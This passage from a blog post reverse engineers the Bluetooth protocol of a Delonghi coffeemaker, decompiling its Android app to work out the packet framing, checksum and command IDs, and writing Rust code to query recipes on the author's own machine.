<p>Why is this framing important? Devices will often use framing to help recover from corruption. If you lose or corrupt a byte anywhere in the packet, you can often recover synchronization quickly by just restarting the packet parsing at the next byte that looks like a start byte.</p>

<p>Here’s a few packets we captured being sent from the coffeemaker to the application while asking it to brew a coffee, and then waiting for it to finish cleaning:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0d0575f0c4d5                             # Some sort of status request
0d1483f007010100410900be02030c001c0206dc # Brew a cappuccino
0d0883f00702062f41                       # Cancel brewing

d00783f0010064d9                         # Response to brew/stop request
d012750f02040100400700000000000000d621   # Status response
d012750f04050100400c030900000000001cf0   # Status response
d012750f000000000000036400000000009080   # Status response
</code></pre></div></div>

<p>What information can we glean from this? First of all, the first byte is always <code class="language-text highlighter-rouge">0d</code> or <code class="language-text highlighter-rouge">d0</code> (13 or 240 in decimal), suggesting this is a start-of-packet byte that varies depending on the direction of communication. That’s one byte probably identified!</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+&gt; 0d 0575f0c4d5
+&gt; 0d 1483f007010100410900be02030c001c0206dc
+&gt; 0d 0883f00702062f41
|
+&gt; d0 0783f0010064d9
+&gt; d0 12750f02040100400700000000000000d621
+&gt; d0 12750f04050100400c030900000000001cf0
+&gt; d0 12750f000000000000036400000000009080
|
+--------------------------------------- Start of packet (0x0d or 0xd0)
</code></pre></div></div>

<p>Next, the second byte of the packet seems to vary depending on the length of the packet, and it corresponds exactly with the change in packet size. This is highly likely to be a length, and from what we can see here in a couple of the packets we captured earlier, it would be the length of the packet not including the start-of-packet byte.</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>   v---5 bytes--v
0d 05 75 f0 c4 d5
   v------7 bytes-----v
d0 07 83 f0 01 00 64 d9
   v------------------18 bytes (0x12)------------------v
d0 12 75 0f 02 04 01 00 40 07 00 00 00 00 00 00 00 d6 21
^  ^
|  +------------------------------------------------------ Length of packet
+--------------------------------------------------------- Start of packet (0xd0)
</code></pre></div></div>

<p>We can’t glean much about the rest of the packet yet, but we’re getting some of the framing nailed down here. Time to pull out some more analysis tools.</p>

<p>There are three approaches we can use to understand the binary language of Delonghi’s ECAM machines:</p>

<ol>
  <li>We can disassemble the firmware of the coffeemaker and understand what it expects and what it sends, or</li>
  <li>We can observe the application’s communication with the coffeemaker over a period of time, changing one or two things at a time and seeing what changes in the protocol, or</li>
  <li>We can disassemble the application that controls the coffeemaker and understand its inputs and outputs.</li>
</ol>

<p>The firmware of the machine itself would be the ideal place for us to look, but according to some various coffeemaker-hacking forums, the controllers are <a href="https://en.wikipedia.org/wiki/PIC_microcontrollers">PIC</a>-based, and <a href="https://www.rapid7.com/blog/post/2019/04/30/extracting-firmware-from-microcontrollers-onboard-flash-memory-part-3-microchip-pic-microcontrollers/">disassembling/dumping PIC firmware somewhat tricky</a>.</p>

<p>In addition, a disadvantage to disassembling microcontroller firmware is that due to size constraints, it’s far less likely for text strings to have survived the compilation process to give us hints as to what’s going on. Finding leftover snippets of logging or “debug” print statements are gold for the reverse engineer, and we’d like to use that as a signpost to guide our future work.</p>

<p>Observing the application’s communication directly is definitely an option. This is inconvenient as we saw from the HCI snooping adventures earlier on, and we might not know how to perturb the system enough to fully understand most of the fields we receive.</p>

<p>The best option we’re left with is disassembling the application itself and looking for hints as to what it’s doing, hopefully for some symbols that give us names, or text strings that may give us context.</p>

<h2 id="disassembling-the-delonghi-apk">Disassembling the Delonghi APK</h2>

<p>We’re going to disassemble the Delonghi APK to learn more about how we can automate our caffeine fix.</p>

<p>Android applications are shipped in APK <em>(Android Package Kit)</em> format, and we’re going to download a few historical versions of the APK from <a href="https://m.apkpure.com/de-longhi-coffee-link/it.delonghi/versions">APK Pure</a>, a site that archives older versions of shipped applications. Getting a few different versions is a good idea, as developers will sometimes forget to enable <a href="https://developer.android.com/studio/build/shrink-code">obfuscation</a> in some versions. If we’re lucky enough to get a version of the application without obfuscation, we can get the internal names for constants and fields.</p>

<p>In the past, APK decompilation was somewhat tricky. As Android is Java-based, but doesn’t use Java’s bytecode directly, either you’d need to learn how to understand <a href="https://github.com/JesusFreke/smali">smali</a>, or you’d use <a href="https://github.com/pxb1988/dex2jar">dex2jar</a> to convert the app to a faux-Java JAR file and use standard Java analysis tools to reverse engineer it. <a href="https://github.com/skylot/jadx">Jadx</a> is a new Java analysis tool, which is far easier to use and much more powerful than the older tools.</p>

<p>Let’s open the APK in Jadx. Once it has decompiled that app, the first thing we’ll notice is that there are package names here. This is great news and suggests that even if the application is obfuscated, it’s not obfuscated fully and we’ll be able to learn how it ticks.</p>

<p><a class="image standard" href="https://grack.com/assets/2022/12/part-2-disassembly-a.jpeg"><img src="https://grack.com/_thumbs/e9cf15700faaf0e1f995814434ee5435-600-600"></a></p>

<p>When we dig into some of the classes, we see method and field names, showing us a pretty clear representation of the original source code. Even better news!</p>

<p><a class="image standard" href="https://grack.com/assets/2022/12/part-2-disassembly-b.jpeg"><img src="https://grack.com/_thumbs/95e3dc2ca3fafd3221ef4b8134fc1a38-600-600"></a></p>

<p>After decompiling, our first goal should be to conclusively identify the framing of the packets and answer the questions we raised earlier on. With some reading through the source, we can identify the source of one of the packets we saw being sent to the machine…</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0d 05 75 f0 c4 d5
</code></pre></div></div>

<p>… as coming from here:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kd">static</span> <span class="kt">byte</span><span class="o">[]</span> <span class="nf">getByteMonitorMode</span><span class="o">(</span><span class="kt">int</span> <span class="n">i</span><span class="o">)</span> <span class="o">{</span>  
    <span class="nc">String</span> <span class="n">str</span> <span class="o">=</span> <span class="no">TAG</span><span class="o">;</span>  
    <span class="nc">DLog</span><span class="o">.</span><span class="na">m188e</span><span class="o">(</span><span class="n">str</span><span class="o">,</span> <span class="s">"getByteMonitorMode  dataN"</span> <span class="o">+</span> <span class="n">i</span><span class="o">);</span>  
    <span class="kt">byte</span><span class="o">[]</span> <span class="n">bArr</span> <span class="o">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="o">[</span><span class="mi">6</span><span class="o">];</span>  
    <span class="n">bArr</span><span class="o">[</span><span class="mi">0</span><span class="o">]</span> <span class="o">=</span> <span class="mh">0xd</span><span class="o">;</span>                            <span class="c1">// ** 0d</span>
    <span class="n">bArr</span><span class="o">[</span><span class="mi">1</span><span class="o">]</span> <span class="o">=</span> <span class="mi">5</span><span class="o">;</span>                              <span class="c1">// ** 05</span>
    <span class="k">if</span> <span class="o">(</span><span class="n">i</span> <span class="o">==</span> <span class="mi">0</span><span class="o">)</span> <span class="o">{</span>  
        <span class="n">bArr</span><span class="o">[</span><span class="mi">2</span><span class="o">]</span> <span class="o">=</span> <span class="no">DATA_0_ANSWER_ID</span><span class="o">;</span>  
    <span class="o">}</span> <span class="k">else</span> <span class="k">if</span> <span class="o">(</span><span class="n">i</span> <span class="o">==</span> <span class="mi">1</span><span class="o">)</span> <span class="o">{</span>  
        <span class="n">bArr</span><span class="o">[</span><span class="mi">2</span><span class="o">]</span> <span class="o">=</span> <span class="no">DATA_1_ANSWER_ID</span><span class="o">;</span>  
    <span class="o">}</span> <span class="k">else</span> <span class="k">if</span> <span class="o">(</span><span class="n">i</span> <span class="o">==</span> <span class="mi">2</span><span class="o">)</span> <span class="o">{</span>  
        <span class="n">bArr</span><span class="o">[</span><span class="mi">2</span><span class="o">]</span> <span class="o">=</span> <span class="mi">117</span><span class="o">;</span>                        <span class="c1">// ** 75</span>
    <span class="o">}</span>  
    <span class="n">bArr</span><span class="o">[</span><span class="mi">3</span><span class="o">]</span> <span class="o">=</span> <span class="mh">0xf0</span><span class="o">;</span>                           <span class="c1">// ** f0</span>
    <span class="kt">int</span> <span class="n">checksum</span> <span class="o">=</span> <span class="n">checksum</span><span class="o">(</span><span class="n">bArr</span><span class="o">);</span>  
    <span class="n">bArr</span><span class="o">[</span><span class="mi">4</span><span class="o">]</span> <span class="o">=</span> <span class="o">(</span><span class="kt">byte</span><span class="o">)</span> <span class="o">((</span><span class="n">checksum</span> <span class="o">&gt;&gt;</span> <span class="mi">8</span><span class="o">)</span> <span class="o">&amp;</span> <span class="mi">255</span><span class="o">);</span> <span class="c1">// ** c4 </span>
    <span class="n">bArr</span><span class="o">[</span><span class="mi">5</span><span class="o">]</span> <span class="o">=</span> <span class="o">(</span><span class="kt">byte</span><span class="o">)</span> <span class="o">(</span><span class="n">checksum</span> <span class="o">&amp;</span> <span class="mi">255</span><span class="o">);</span>        <span class="c1">// ** d5</span>
    <span class="k">return</span> <span class="n">bArr</span><span class="o">;</span>  
<span class="o">}</span>
</code></pre></div></div>

<p>We can see the canonical source for every byte in that packet above in this function. <code class="language-text highlighter-rouge">0d</code> is the <em>start_of_packet</em> header. <code class="language-text highlighter-rouge">05</code> is the length, and it looks like it’s just hardcoded here since the packet is always the same length. We can also see that the last few digits are a checksum, and if we dig into the <code class="language-text highlighter-rouge">checksum</code> function, how it is calculated:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kd">static</span> <span class="kt">int</span> <span class="nf">checksum</span><span class="o">(</span><span class="kt">byte</span><span class="o">[]</span> <span class="n">bArr</span><span class="o">)</span> <span class="o">{</span>  
    <span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">7439</span><span class="o">;</span>  
    <span class="k">for</span> <span class="o">(</span><span class="kt">int</span> <span class="n">i2</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span> <span class="n">i2</span> <span class="o">&lt;</span> <span class="n">bArr</span><span class="o">.</span><span class="na">length</span> <span class="o">-</span> <span class="mi">2</span><span class="o">;</span> <span class="n">i2</span><span class="o">++)</span> <span class="o">{</span>  
        <span class="kt">int</span> <span class="n">i3</span> <span class="o">=</span> <span class="o">(((</span><span class="n">i</span> <span class="o">&lt;&lt;</span> <span class="mi">8</span><span class="o">)</span> <span class="o">|</span> <span class="o">(</span><span class="n">i</span> <span class="o">&gt;&gt;&gt;</span> <span class="mi">8</span><span class="o">))</span> <span class="o">&amp;</span> <span class="mi">65535</span><span class="o">)</span> <span class="o">^</span> <span class="o">(</span><span class="n">bArr</span><span class="o">[</span><span class="n">i2</span><span class="o">]</span> <span class="o">&amp;</span> <span class="mi">255</span><span class="o">);</span>  
        <span class="kt">int</span> <span class="n">i4</span> <span class="o">=</span> <span class="n">i3</span> <span class="o">^</span> <span class="o">((</span><span class="n">i3</span> <span class="o">&amp;</span> <span class="mi">255</span><span class="o">)</span> <span class="o">&gt;&gt;</span> <span class="mi">4</span><span class="o">);</span>  
        <span class="kt">int</span> <span class="n">i5</span> <span class="o">=</span> <span class="n">i4</span> <span class="o">^</span> <span class="o">((</span><span class="n">i4</span> <span class="o">&lt;&lt;</span> <span class="mi">12</span><span class="o">)</span> <span class="o">&amp;</span> <span class="mi">65535</span><span class="o">);</span>  
        <span class="n">i</span> <span class="o">=</span> <span class="n">i5</span> <span class="o">^</span> <span class="o">(((</span><span class="n">i5</span> <span class="o">&amp;</span> <span class="mi">255</span><span class="o">)</span> <span class="o">&lt;&lt;</span> <span class="mi">5</span><span class="o">)</span> <span class="o">&amp;</span> <span class="mi">65535</span><span class="o">);</span>  
    <span class="o">}</span>  
    <span class="k">return</span> <span class="n">i</span> <span class="o">&amp;</span> <span class="mi">65535</span><span class="o">;</span>  
<span class="o">}</span>
</code></pre></div></div>

<p>Great! <code class="language-text highlighter-rouge">checksum</code> looks like it could be one of the <a href="https://en.wikipedia.org/wiki/Cyclic_redundancy_check">CRC family of functions</a>, but we don’t necessarily have to fully understand it yet if we have its implementation. We now have all the framing necessary to construct any packet:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>d0 LE (data) C1 C2
^  ^         ^--^-- Our checksum bytes   
+  +--------------- Length of packet, minus start-of-packet
+------------------ Start of packet (0xd0 or 0x0d depending on direction)
</code></pre></div></div>

<p>Now we can start to guess at the meaning of the rest of the bytes. Byte 2 appears to be a command ID. Byte 3 is a constant, and scanning the rest of the file suggests that it’s always <code class="language-text highlighter-rouge">0x0f</code> or <code class="language-text highlighter-rouge">0xf0</code>, depending on the command. That leaves the remainder of the packet for the command payload, if it’s used for the command.</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0d 05 75 f0 c4 d5
^  ^  ^  ^  ^--^-- Our checksum
|  |  |  +-------- Always 0xf0 or 0x0f
|  |  +----------- The command ID (0x75 = monitor mode 2)
|  +-------------- The packet length
+----------------- Start of packet (0x0d)
</code></pre></div></div>

<p>Since we have a single spot for calculating the packet checksum, and we know that every request requires a checksum to be calculated, we can figure out all the places in the app that create request packets to get a better idea of what we can ask the machine to do by looking for the callers of <code class="language-text highlighter-rouge">checksum</code>:</p>

<p><a class="image standard" href="https://grack.com/assets/2022/12/part-2-find-usages.jpeg"><img src="https://grack.com/_thumbs/880183da860dcd8075134b5f537722f4-600-600"></a></p>

<p>This is very interesting! There’s a lot of commands here, and each of them has a reasonably-well-defined name that we can use to understand what its function might be. We’ll have to start working through them one-by-one. With a bit of work, we can assemble a table of these commands:</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">enum</span> <span class="n">EcamRequestId</span> <span class="p">{</span>
    <span class="n">SetBtMode</span> <span class="o">=</span> <span class="mi">17</span><span class="p">,</span>
    <span class="n">MonitorV0</span> <span class="o">=</span> <span class="mi">96</span><span class="p">,</span>
    <span class="n">MonitorV1</span> <span class="o">=</span> <span class="mi">112</span><span class="p">,</span>
    <span class="n">MonitorV2</span> <span class="o">=</span> <span class="mi">117</span><span class="p">,</span>
    <span class="n">BeverageDispensingMode</span> <span class="o">=</span> <span class="mi">131</span><span class="p">,</span>
    <span class="n">AppControl</span> <span class="o">=</span> <span class="mi">132</span><span class="p">,</span>
    <span class="n">ParameterRead</span> <span class="o">=</span> <span class="mi">149</span><span class="p">,</span>
    <span class="n">ParameterWrite</span> <span class="o">=</span> <span class="mi">144</span><span class="p">,</span>
    <span class="n">ParameterReadExt</span> <span class="o">=</span> <span class="mi">161</span><span class="p">,</span>
    <span class="n">StatisticsRead</span> <span class="o">=</span> <span class="mi">162</span><span class="p">,</span>
    <span class="n">Checksum</span> <span class="o">=</span> <span class="mi">163</span><span class="p">,</span>
    <span class="n">ProfileNameRead</span> <span class="o">=</span> <span class="mi">164</span><span class="p">,</span>
    <span class="n">ProfileNameWrite</span> <span class="o">=</span> <span class="mi">165</span><span class="p">,</span>
    <span class="n">RecipeQuantityRead</span> <span class="o">=</span> <span class="mi">166</span><span class="p">,</span>
    <span class="n">RecipePriorityRead</span> <span class="o">=</span> <span class="mi">168</span><span class="p">,</span>
    <span class="n">ProfileSelection</span> <span class="o">=</span> <span class="mi">169</span><span class="p">,</span>
    <span class="n">RecipeNameRead</span> <span class="o">=</span> <span class="mi">170</span><span class="p">,</span>
    <span class="n">RecipeNameWrite</span> <span class="o">=</span> <span class="mi">171</span><span class="p">,</span>
    <span class="n">SetFavoriteBeverages</span> <span class="o">=</span> <span class="mi">173</span><span class="p">,</span>
    <span class="n">RecipeMinMaxSync</span> <span class="o">=</span> <span class="mi">176</span><span class="p">,</span>
    <span class="n">PinSet</span> <span class="o">=</span> <span class="mi">177</span><span class="p">,</span>
    <span class="n">BeanSystemSelect</span> <span class="o">=</span> <span class="mi">185</span><span class="p">,</span>
    <span class="n">BeanSystemRead</span> <span class="o">=</span> <span class="mi">186</span><span class="p">,</span>
    <span class="n">BeanSystemWrite</span> <span class="o">=</span> <span class="mi">187</span><span class="p">,</span>
    <span class="n">PinRead</span> <span class="o">=</span> <span class="mi">210</span><span class="p">,</span>
    <span class="n">SetTime</span> <span class="o">=</span> <span class="mi">226</span><span class="p">,</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Some of these request IDs are guesses based on the surrounding code context, and some of them are defined in enumerations in the application source. It’s a pretty good start for us to get going on figuring out how to brew our own beverage from scratch.</p>

<h2 id="revisiting-the-brew-command">Revisiting the brew command</h2>

<p>From just the bytes sent across the connection it’s difficult to understand exactly how the application is creating the packet to brew a coffee. However, in the disassembly we find a function <code class="language-text highlighter-rouge">dispenseBeveragePacket</code> that appears to construct the packet we saw before:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="o">(</span><span class="n">arrayList</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span>  
    <span class="nc">Iterator</span><span class="o">&lt;</span><span class="nc">ParameterModel</span><span class="o">&gt;</span> <span class="n">it3</span> <span class="o">=</span> <span class="n">arrayList</span><span class="o">.</span><span class="na">iterator</span><span class="o">();</span>  
    <span class="nl">loop1:</span> <span class="k">while</span> <span class="o">(</span><span class="kc">true</span><span class="o">)</span> <span class="o">{</span>  
        <span class="n">i4</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span>  
        <span class="k">while</span> <span class="o">(</span><span class="n">it3</span><span class="o">.</span><span class="na">hasNext</span><span class="o">())</span> <span class="o">{</span>  
            <span class="n">next</span> <span class="o">=</span> <span class="n">it3</span><span class="o">.</span><span class="na">next</span><span class="o">();</span>  
            <span class="k">if</span> <span class="o">(</span><span class="n">next</span><span class="o">.</span><span class="na">getId</span><span class="o">()</span> <span class="o">&lt;</span> <span class="mi">23</span> <span class="o">||</span> <span class="n">next</span><span class="o">.</span><span class="na">getId</span><span class="o">()</span> <span class="o">==</span> <span class="mi">28</span><span class="o">)</span> <span class="o">{</span>  
                <span class="k">if</span> <span class="o">(</span><span class="n">bool</span><span class="o">.</span><span class="na">booleanValue</span><span class="o">()</span> <span class="o">||</span> <span class="n">i</span> <span class="o">!=</span> <span class="mi">200</span> <span class="o">||</span> <span class="n">next</span><span class="o">.</span><span class="na">getId</span><span class="o">()</span> <span class="o">!=</span> <span class="mi">2</span><span class="o">)</span> <span class="o">{</span>  
                    <span class="n">i6</span> <span class="o">=</span> <span class="n">i6</span> <span class="o">+</span> <span class="mi">2</span> <span class="o">+</span> <span class="n">i4</span><span class="o">;</span>  
                    <span class="n">bArr</span><span class="o">[</span><span class="n">i6</span> <span class="o">+</span> <span class="mi">6</span><span class="o">]</span> <span class="o">=</span> <span class="o">(</span><span class="kt">byte</span><span class="o">)</span> <span class="n">next</span><span class="o">.</span><span class="na">getId</span><span class="o">();</span>  
                    <span class="k">if</span> <span class="o">(</span><span class="nc">Utils</span><span class="o">.</span><span class="na">isTwoBytesShort</span><span class="o">(</span><span class="n">next</span><span class="o">.</span><span class="na">getId</span><span class="o">()))</span> <span class="o">{</span>  
                        <span class="n">bArr</span><span class="o">[</span><span class="n">i6</span> <span class="o">+</span> <span class="mi">7</span><span class="o">]</span> <span class="o">=</span> <span class="o">(</span><span class="kt">byte</span><span class="o">)</span> <span class="o">(</span><span class="n">next</span><span class="o">.</span><span class="na">getDefValue</span><span class="o">()</span> <span class="o">&gt;&gt;</span> <span class="mi">8</span><span class="o">);</span>  
                        <span class="n">bArr</span><span class="o">[</span><span class="n">i6</span> <span class="o">+</span> <span class="mi">8</span><span class="o">]</span> <span class="o">=</span> <span class="o">(</span><span class="kt">byte</span><span class="o">)</span> <span class="n">next</span><span class="o">.</span><span class="na">getDefValue</span><span class="o">();</span>  
                        <span class="n">i4</span> <span class="o">=</span> <span class="mi">1</span><span class="o">;</span>  
                    <span class="o">}</span>  
                <span class="o">}</span>  
            <span class="o">}</span>  
        <span class="o">}</span>  
        <span class="n">bArr</span><span class="o">[</span><span class="n">i6</span> <span class="o">+</span> <span class="mi">7</span><span class="o">]</span> <span class="o">=</span> <span class="o">(</span><span class="kt">byte</span><span class="o">)</span> <span class="n">next</span><span class="o">.</span><span class="na">getDefValue</span><span class="o">();</span>  
    <span class="o">}</span>  
    <span class="n">i5</span> <span class="o">=</span> <span class="n">i4</span><span class="o">;</span>  
<span class="o">}</span>
</code></pre></div></div>

<p>If we clean it up a bit to some Java pseudocode, it looks like this:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="n">index</span> <span class="o">=</span> <span class="mi">6</span><span class="o">;</span>
<span class="k">for</span> <span class="o">(</span><span class="nc">ParameterModel</span> <span class="n">param</span> <span class="n">in</span> <span class="n">params</span><span class="o">)</span> <span class="o">{</span>
    <span class="k">if</span> <span class="o">(</span><span class="n">param</span><span class="o">.</span><span class="na">getId</span><span class="o">()</span> <span class="o">&lt;</span> <span class="no">CLEAN_TYPE</span> <span class="o">||</span> <span class="n">param</span><span class="o">.</span><span class="na">getId</span><span class="o">()</span> <span class="o">==</span> <span class="no">ACCESSORIO</span><span class="o">)</span> <span class="o">{</span>
        <span class="n">array</span><span class="o">[</span><span class="n">index</span><span class="o">++]</span> <span class="o">=</span> <span class="n">param</span><span class="o">.</span><span class="na">getId</span><span class="o">();</span>
        <span class="k">if</span> <span class="o">(</span><span class="nc">Utils</span><span class="o">.</span><span class="na">isTwoBytesShort</span><span class="o">(</span><span class="n">param</span><span class="o">.</span><span class="na">getId</span><span class="o">()))</span> <span class="o">{</span>
            <span class="n">array</span><span class="o">[</span><span class="n">index</span><span class="o">++]</span> <span class="o">=</span> <span class="n">param</span><span class="o">.</span><span class="na">getDefValue</span><span class="o">()</span> <span class="o">&gt;&gt;</span> <span class="mi">8</span><span class="o">;</span>   <span class="c1">// upper 8 bytes</span>
            <span class="n">array</span><span class="o">[</span><span class="n">index</span><span class="o">++]</span> <span class="o">=</span> <span class="n">param</span><span class="o">.</span><span class="na">getDefValue</span><span class="o">()</span> <span class="o">&amp;</span> <span class="mh">0xff</span><span class="o">;</span> <span class="c1">// </span>
        <span class="o">}</span> <span class="k">else</span> <span class="o">{</span>
            <span class="n">array</span><span class="o">[</span><span class="n">index</span><span class="o">++]</span> <span class="o">=</span> <span class="n">param</span><span class="o">.</span><span class="na">getDefValue</span><span class="o">()</span> <span class="o">&amp;</span> <span class="mh">0xff</span><span class="o">;</span>
        <span class="o">}</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<p>So, from this pseudocode we see that a beverage is constructed from a list of ingredients (which with some further investigation, we find in the disassembled source as <code class="language-text highlighter-rouge">IngredientsId</code> below), and an associated one or two byte value (<code class="language-text highlighter-rouge">param.getDefValue()</code> above). Digging through the source for which ingredients are one or two bytes doesn’t yield much fruit, but maybe we can understand what’s going on by investigating further.</p>

<p><a class="image standard" href="https://grack.com/assets/2022/12/part-2-disassembly-c.jpeg"><img src="https://grack.com/_thumbs/5480bbde12caef58e88c3792bcda8e11-600-600"></a></p>

<p>Where do we go next? We find that there are two commands that, based on their name, seem to be related to the application UI used for brewing: <code class="language-text highlighter-rouge">RecipeQuantityRead</code> and <code class="language-text highlighter-rouge">RecipeMinMaxSync</code>.</p>

<p>Let’s try sending these commands to the machine! To do this, it’s time to re-visit our Rust code.</p>

<p>First, let’s create a function that will add the packet framing (header, length and checksum) to any payload we want to send:</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">pub</span> <span class="k">fn</span> <span class="nf">checksum</span><span class="p">(</span><span class="n">buffer</span><span class="p">:</span> <span class="o">&amp;</span><span class="p">[</span><span class="nb">u8</span><span class="p">])</span> <span class="k">-&gt;</span> <span class="p">[</span><span class="nb">u8</span><span class="p">;</span> <span class="mi">2</span><span class="p">]</span> <span class="p">{</span>
    <span class="k">let</span> <span class="k">mut</span> <span class="n">i</span><span class="p">:</span> <span class="nb">u16</span> <span class="o">=</span> <span class="mi">7439</span><span class="p">;</span>
    <span class="k">for</span> <span class="n">x</span> <span class="k">in</span> <span class="n">buffer</span> <span class="p">{</span>
        <span class="k">let</span> <span class="n">i3</span> <span class="o">=</span> <span class="p">((</span><span class="n">i</span> <span class="o">&lt;&lt;</span> <span class="mi">8</span><span class="p">)</span> <span class="p">|</span> <span class="p">(</span><span class="n">i</span> <span class="o">&gt;&gt;</span> <span class="mi">8</span><span class="p">))</span> <span class="o">^</span> <span class="p">(</span><span class="o">*</span><span class="n">x</span> <span class="k">as</span> <span class="nb">u16</span><span class="p">);</span>
        <span class="k">let</span> <span class="n">i4</span> <span class="o">=</span> <span class="n">i3</span> <span class="o">^</span> <span class="p">((</span><span class="n">i3</span> <span class="o">&amp;</span> <span class="mi">255</span><span class="p">)</span> <span class="o">&gt;&gt;</span> <span class="mi">4</span><span class="p">);</span>
        <span class="k">let</span> <span class="n">i5</span> <span class="o">=</span> <span class="n">i4</span> <span class="o">^</span> <span class="p">(</span><span class="n">i4</span> <span class="o">&lt;&lt;</span> <span class="mi">12</span><span class="p">);</span>
        <span class="n">i</span> <span class="o">=</span> <span class="n">i5</span> <span class="o">^</span> <span class="p">((</span><span class="n">i5</span> <span class="o">&amp;</span> <span class="mi">255</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="mi">5</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="p">[(</span><span class="n">i</span> <span class="o">&gt;&gt;</span> <span class="mi">8</span><span class="p">)</span> <span class="k">as</span> <span class="nb">u8</span><span class="p">,</span> <span class="p">(</span><span class="n">i</span> <span class="o">&amp;</span> <span class="mi">0xff</span><span class="p">)</span> <span class="k">as</span> <span class="nb">u8</span><span class="p">]</span>
<span class="p">}</span>

<span class="k">fn</span> <span class="nf">packetize</span><span class="p">(</span><span class="n">buffer</span><span class="p">:</span> <span class="o">&amp;</span><span class="p">[</span><span class="nb">u8</span><span class="p">])</span> <span class="k">-&gt;</span> <span class="nb">Vec</span><span class="o">&lt;</span><span class="nb">u8</span><span class="o">&gt;</span> <span class="p">{</span>
    <span class="k">let</span> <span class="k">mut</span> <span class="n">out</span> <span class="o">=</span> <span class="p">[</span><span class="o">&amp;</span><span class="p">[</span>
        <span class="mi">0x0d</span><span class="p">,</span>
        <span class="p">(</span><span class="n">buffer</span><span class="nf">.len</span><span class="p">()</span> <span class="o">+</span> <span class="mi">3</span><span class="p">)</span><span class="nf">.try_into</span><span class="p">()</span><span class="nf">.expect</span><span class="p">(</span><span class="s">"Packet too large"</span><span class="p">),</span>
    <span class="p">],</span> <span class="n">buffer</span><span class="p">]</span><span class="nf">.concat</span><span class="p">();</span>
    <span class="n">out</span><span class="nf">.extend_from_slice</span><span class="p">(</span><span class="o">&amp;</span><span class="nf">checksum</span><span class="p">(</span><span class="o">&amp;</span><span class="n">out</span><span class="p">));</span>
    <span class="n">out</span>
<span class="p">}</span>

<span class="k">async</span> <span class="k">fn</span> <span class="nf">run_with_peripheral</span><span class="p">(</span><span class="n">peripheral</span><span class="p">:</span> <span class="n">Peripheral</span><span class="p">,</span> <span class="n">characteristic</span><span class="p">:</span> <span class="n">Characteristic</span><span class="p">)</span> <span class="k">-&gt;</span> <span class="nb">Result</span><span class="o">&lt;</span><span class="p">(),</span> <span class="nb">Box</span><span class="o">&lt;</span><span class="k">dyn</span> <span class="nn">std</span><span class="p">::</span><span class="nn">error</span><span class="p">::</span><span class="n">Error</span><span class="o">&gt;&gt;</span> <span class="p">{</span>
    <span class="k">let</span> <span class="n">data</span> <span class="o">=</span> <span class="nf">packetize</span><span class="p">(</span><span class="cm">/* data */</span><span class="p">);</span>
    <span class="n">peripheral</span><span class="nf">.write</span><span class="p">(</span><span class="o">&amp;</span><span class="n">characteristic</span><span class="p">,</span> <span class="n">data</span><span class="p">,</span> <span class="nn">WriteType</span><span class="p">::</span><span class="n">WithoutResponse</span><span class="p">);</span>
    <span class="nf">Ok</span><span class="p">(())</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Now we can start sending some example packets and exploring the responses. Here’s two test packet’s we’ll send (in pseudo-code and byte form):</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Packet                             Bytes
RecipeInfo(profile=1, beverage=7)  0d 07 a6f0 01 07 75c2
RecipeMinMaxInfo(beverage=7)       0d 06 b0f0 07 6af4
</code></pre></div></div>

<p>Let’s look at what comes back, in raw byte form (some spaces added to help the reader visualize the packet):</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>RecipeInfo(profile=1, beverage=7):       
d0 17 a6f0 01 07 
↳ 0100410900be02030c001b0419011c02
↳ a2cd

RecipeMinMaxInfo(beverage=7):
d0 2c b0f0 07
↳ 010014004100b409003c00be038402000305
↳ 18010101190101010c0000001c000200
↳ 1b000404
↳ d03c
</code></pre></div></div>

<p>The first part of the response packets appear to be the machine echoing back the input. This makes sense, as the application will need a way to match up responses to requests.</p>

<p>For the remainder of the packet, we have the advantage of the decompilation above. We know the list of ingredients from the <code class="language-text highlighter-rouge">IngredientsId</code> enumeration in the decompiled source, and if we match up the type of beverages with the ingredients, it makes a lot of sense that it’s what we’re seeing here:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>RecipeInfo response:

01·0041•09·00be•02·03•0c·00•1b·04•19·01•1c·02
---+--- ---+--- --+-- --+-- --+-- --+-- --+--  
   |       |      |     |     |     |     ╰---- Accessorio=2
   |       |      |     |     |     |          
   |       |      |     |     |     ╰---------- Visible=1
   |       |      |     |     |                
   |       |      |     |     ╰---------------- IndexLength=4
   |       |      |     |                      
   |       |      |     ╰---------------------- Inversion=0
   |       |      |                            
   |       |      ╰---------------------------- Taste=3
   |       |                                   
   |       ╰----------------------------------- Milk=190
   |                                           
   ╰------------------------------------------- Coffee=65

RecipeMinMaxInfo response:

01·0014·0041·00b4•09·003c·00be·0384•02·00·03·05•
--------+-------- --------+-------- -----+-----  
        |                 |              ╰------- Taste: 0&lt;=3&lt;=5
        |                 |                      
        |                 ╰---------------------- Milk: 60&lt;=190&lt;=900
        |                                        
